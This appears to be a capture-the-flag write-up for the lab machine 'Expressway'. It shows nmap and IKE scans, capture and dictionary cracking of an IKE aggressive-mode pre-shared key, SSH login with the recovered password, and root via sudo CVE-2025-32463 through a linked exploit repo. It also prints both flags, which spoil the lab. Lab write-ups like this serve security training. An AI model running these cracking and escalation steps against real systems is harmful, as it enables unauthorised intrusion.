# Expressway (easy)

## Reconnaissance

### TCP scan

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS 10.129.238.52  -A
[sudo] password for kali:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-03 20:34 +0100
Nmap scan report for 10.129.238.52
Host is up (0.091s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)
No exact OS matches for host (If you know what OS is running on it, see
https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=2/3%OT=22%CT=1%CU=36330%PV=Y%DS=2%DC=T%G=Y%TM=69824DCE
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)SEQ(
OS:SP=103%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=104%GCD=1%ISR=10A%TI=Z%C
OS:I=Z%II=I%TS=A)SEQ(SP=106%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=107%GC
OS:D=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M542ST11NW9%O2=M542ST11NW9%O3=M54
OS:2NNT11NW9%O4=M542ST11NW9%O5=M542ST11NW9%O6=M542ST11)WIN(W1=FE88%W2=FE88%
OS:W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M542NNSNW9%CC
OS:=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T
OS:=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=
OS:0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40
OS:%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 110/tcp)
HOP RTT       ADDRESS
1   75.81 ms  10.10.16.1
2   123.35 ms 10.129.238.52

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.23 seconds
```

## UDP scan

```

PORT    STATE  SERVICE REASON       VERSION
500/tcp closed isakmp  reset ttl 63
Too many fingerprints match this host to give specific OS details
TCP/IP fingerprint:
SCAN(V=7.98%E=4%D=2/3%OT=%CT=500%CU=34551%PV=Y%DS=2%DC=T%G=N%TM=6982692F%P=x86_64
-pc-linux-gnu)
SEQ(CI=Z%II=I)
T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=N)
U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=40%CD=S)
```

## IKE enum

```
└─$ nmap -sU -p 500 --script ike-version 10.129.238.52
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-04 18:42 +0100
Nmap scan report for 10.129.238.52
Host is up (1.5s latency).

PORT    STATE SERVICE
500/udp open  isakmp
| ike-version:
|   attributes:
|     XAUTH
|_    Dead Peer Detection v1.0

Nmap done: 1 IP address (1 host up) scanned in 3.25 seconds
```

```
┌──(kali㉿kali)-[~]
└─$ ike-scan -M -A 10.129.238.52
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.238.52   Aggressive Mode Handshake returned
        HDR=(CKY-R=fc6431349935cb17)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds
LifeDuration=28800)
        KeyExchange(128 bytes)
        Nonce(32 bytes)
        ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
        VID=09002689dfd6b712 (XAUTH)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
        Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.142 seconds (7.03 hosts/sec).  1
returned handshake; 0 returned notify
```

-> Aggressive Mode Handshake detected and we obtain ID_USER_FQDN :

```
ID_USER_FQDN = ike@expressway.htb
```

```
┌──(kali㉿kali)-[~]
└─$ ike-scan -A --pskcrack 10.129.238.52
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.238.52   Aggressive Mode Handshake returned HDR=(CKY-R=4f46d759c6a2456d)
```

```
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds
LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN,
Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)

IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):
0425bb91c196c549bf863721a4586b5ab59328cf9c732991dd92d8dad71d1c335c71f40455d187874
784152e19044b40f8f04d75fa4ef608cb8f8b3a44fc61afea16c609fc1e96044a23746f3504c63173
d0b4cd29cf11aaecb29cc49e1952814a5a6cbdb1d54e50bda2b4d7583d7a9e39a2f19aa93ef226ac9
49b2a5ae4fd47:ad14fc25c081ed0101364c6f9bd98d1f1b5594794727627471651ad81e4081ab08d
efee213df65184dc4baad8f29581f9630f7b76007ce6bab7210a95befa939132e46db343d03f4a0eb
988395f54453595c2b1803f441d4f3e05aa040b2279ea0c8de0715092324d5d0eeca991d6135c4e81
2b74d40faa9d439b2928e975cdf:4f46d759c6a2456d:19149906c73953d4:00000001000000001000
0009801010004030000240101000080010005800200028003000180040002800b0001000c00040000
70800300000240201000080010005800200018003000180040002800b0001000c000400007080030000
0240301000080010001800200028003000180040002800b0001000c00040000708000000024040100
0080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870
726573737761792e687462:afa26d238e6e580d93cc61726ee670e749de5294:1f7503dd3a1b5acfd
4fb995f50557e2be3d144b5371ec8f5aff9e289d4ed13f9:95f6fef83d0d88e0055043b88b1e177a2
9b6d49f
Ending ike-scan 1.9.6: 1 hosts scanned in 0.055 seconds (18.06 hosts/sec).  1
returned handshake; 0 returned notify
```

when cracking the provided Hash we get the password

```
┌──(kali㉿kali)-[~]
└─$ psk-crack -d /usr/share/wordlists/rockyou.txt key.txt
Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "freakingrockstarontheroad" matches SHA1 hash
95f6fef83d0d88e0055043b88b1e177a29b6d49f
Ending psk-crack: 8045040 iterations in 4.874 seconds (1650523.28 iterations/sec)
```

## SSH credentials

```
FQDN = ike@expressway.htb
pass = freakingrockstarontheroad
```

## user.txt

```
42bf4fdde45138f4827d55a7f63a61ba
```

using linpeass we able to find a vulnerability in the sudo version

```
Sudo version 1.9.17 -> `CVE-2025-32463`
```

## privilege escalation

using this github repo we able to elevate our privileges to root : https://github.com/mirchr/CVE-2025-32463-sudo-chwoot

# root.txt

```
152dcdde079531c02984b0af37d9a815
```